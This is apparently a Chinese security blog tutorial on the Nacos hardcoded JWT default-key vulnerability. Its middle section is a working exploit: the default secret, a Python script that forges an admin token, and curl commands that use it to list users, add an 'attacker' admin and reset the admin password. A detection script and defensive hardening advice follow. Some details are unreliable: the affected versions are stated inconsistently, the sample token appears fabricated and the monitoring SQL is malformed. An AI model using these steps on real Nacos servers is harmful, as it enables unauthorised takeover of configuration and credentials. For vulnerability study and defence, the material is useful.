Nacos <=2.2.0 JWT 默认密钥漏洞复现:3步构造有效Token接管后台
Nacos <=2.2.0 JWT 默认密钥漏洞实战:从原理到防御的深度解析
漏洞背景与影响范围
在云原生技术快速发展的今天,服务发现与配置管理平台已成为现代应用架构的核心组件。作为阿里巴巴开源的一款重要产品,Nacos(Naming and Configuration Service)因其轻量级、易用性等特点,被广泛应用于微服务架构中。然而,安全研究人员发现Nacos在2.1.0及更早版本中存在一个严重的设计缺陷——系统采用硬编码的JWT密钥进行身份认证,这直接导致攻击者可以构造有效令牌实现未授权访问。
该漏洞影响范围包括0.1.0至2.2.0的所有Nacos版本,特别是那些开启了鉴权功能但未修改默认密钥的系统。攻击者利用此漏洞可完全绕过身份验证机制,直接访问系统敏感数据甚至接管整个Nacos控制台。
漏洞核心问题在于Nacos早期版本中nacos.core.auth.default.token.secret.key使用了固定值SecretKey012345678901234567890123456789012345678901234567890123456789,且官方文档未对密钥修改做足够强调,导致大量生产环境暴露在风险中。
JWT机制与漏洞原理深度剖析
JWT工作机制详解
JSON Web Token(JWT)是一种开放标准(RFC 7519),用于在各方之间安全传输信息作为JSON对象。JWT由三部分组成,通过点号连接:
header.payload.signature- Header:通常包含令牌类型(typ)和签名算法(alg),如HS256
{ "alg": "HS256", "typ": "JWT" }- Payload:包含声明(claims),即关于实体和其他数据的声明
{ "sub": "nacos", "exp": 1679061046 }- Signature:对编码后的header和payload使用密钥进行签名验证
HMACSHA256( base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)Nacos认证流程缺陷
在受影响版本中,Nacos的认证流程存在以下关键问题:
- 硬编码密钥:系统使用固定不变的HS256算法密钥
- 无密钥轮换机制:缺乏自动化的密钥更新策略
- 宽松的令牌验证:对过期时间(exp)等关键字段校验不严格
当客户端携带JWT访问Nacos时,服务端会使用默认密钥验证签名。由于攻击者知晓该密钥,可以伪造任意用户的合法令牌,实现身份认证绕过。
漏洞环境搭建与复现
实验环境准备
为完整复现该漏洞,我们需要搭建以下环境:
| 组件 | 版本要求 | 备注 |
|---|---|---|
| Nacos Server | 2.2.0或更低版本 | 建议使用Docker快速部署 |
| Python | 3.6+ | 用于生成JWT |
| HTTP工具 | curl/Burp Suite | 用于发送恶意请求 |
使用Docker快速启动漏洞版本Nacos:
docker run --name nacos-2.2.0 -e MODE=standalone -e NACOS_AUTH_ENABLE=true -p 8848:8848 -d nacos/nacos-server:2.2.0JWT生成与利用
利用Python的PyJWT库生成有效令牌:
import jwt # 默认密钥 secret = "SecretKey012345678901234567890123456789012345678901234567890123456789" # 构造恶意payload payload = { "sub": "nacos", # 伪装管理员 "exp": 9999999999 # 设置超长过期时间 } # 生成token token = jwt.encode(payload, secret, algorithm="HS256") print(f"生成Token: {token}")生成的Token示例:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.7QZ7lJ3V6l9z6o8W2X1Y4r5T3U2I9O0P7K6N4M3L2B1V实战攻击步骤
- 获取用户列表(需替换实际IP和端口):
curl -X GET "http://target:8848/nacos/v1/auth/users?pageNo=1&pageSize=9" \ -H "Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6OTk5OTk5OTk5OX0.7QZ7lJ3V6l9z6o8W2X1Y4r5T3U2I9O0P7K6N4M3L2B1V"- 创建新管理员账户:
curl -X POST "http://target:8848/nacos/v1/auth/users" \ -H "Authorization: Bearer [TOKEN]" \ -d "username=attacker&password=Hack@1234"- 修改现有用户密码:
curl -X PUT "http://target:8848/nacos/v1/auth/users" \ -H "Authorization: Bearer [TOKEN]" \ -d "username=nacos&newPassword=NewPassword123"注意:实际测试中,不同Nacos版本API路径可能略有差异,2.2.0版本需要添加search参数
自动化检测与利用工具
安全研究人员已开发多种工具简化检测流程,以下是典型工具对比:
| 工具名称 | 语言 | 功能特点 | 使用示例 |
|---|---|---|---|
| NacosPoc | Python | 支持批量检测和自定义密钥 | python3 NacosPoc.py -u URL |
| NacosExploit | Go | 多线程高速检测 | ./nacos-exp -t 10 URLS.txt |
| BurpSuite插件 | Java | 集成到渗透测试工作流 | 需手动配置JWT生成模块 |
以Python实现的简易检测脚本为例:
import requests import jwt def check_vulnerability(target): try: secret = "SecretKey012345678901234567890123456789012345678901234567890123456789" token = jwt.encode({"sub":"nacos"}, secret, algorithm="HS256") headers = {"Authorization": f"Bearer {token}"} resp = requests.get(f"{target}/nacos/v1/auth/users", headers=headers) if resp.status_code == 200 and "username" in resp.text: return True, token except Exception as e: pass return False, None防御方案与最佳实践
紧急修复措施
立即升级Nacos版本:
- 升级到2.2.0.1+或1.4.5+版本
- 新版本已移除默认密钥并强制要求自定义
修改密钥配置: 在application.properties中添加:
nacos.core.auth.default.token.secret.key=YourNewSecureKeyBase64Encoded nacos.core.auth.plugin.nacos.token.expire.seconds=1800- 网络层防护:
- 限制Nacos控制台的公网访问
- 配置IP白名单和网络ACL
长期安全加固
密钥管理策略:
- 使用KMS服务管理密钥
- 定期轮换密钥(建议每90天)
- 不同环境使用不同密钥
增强JWT验证:
- 严格校验exp、nbf等时间字段
- 实现令牌吊销机制
- 添加issuer(iss)和audience(aud)验证
监控与审计:
-- 示例:监控异常登录的SQL查询 SELECT * FROM access_log WHERE operation_type = 'LOGIN' AND result = 'FAILURE' AND timestamp > NOW() - INTERVAL '5 minutes' GROUP BY ip_address HAVING COUNT(*) > 3;
漏洞深度分析与延伸思考
漏洞根本原因
该漏洞反映了软件开发中常见的安全反模式:
- 安全默认为空:系统应以最安全状态交付,而非方便性优先
- 文档缺失:关键安全配置缺乏醒目说明
- 防御深度不足:缺乏二次认证等补偿控制
云原生安全启示
- 零信任架构:不应依赖单一认证因素
- Secrets管理:使用Vault等专业工具而非硬编码
- 持续威胁建模:在SDLC各阶段考虑安全
在企业实际环境中,我曾遇到一个典型案例:某金融公司测试环境Nacos暴露公网且使用默认密钥,导致攻击者获取了所有微服务的数据库配置。这提醒我们,安全需要体系化建设,不能存在任何短板。
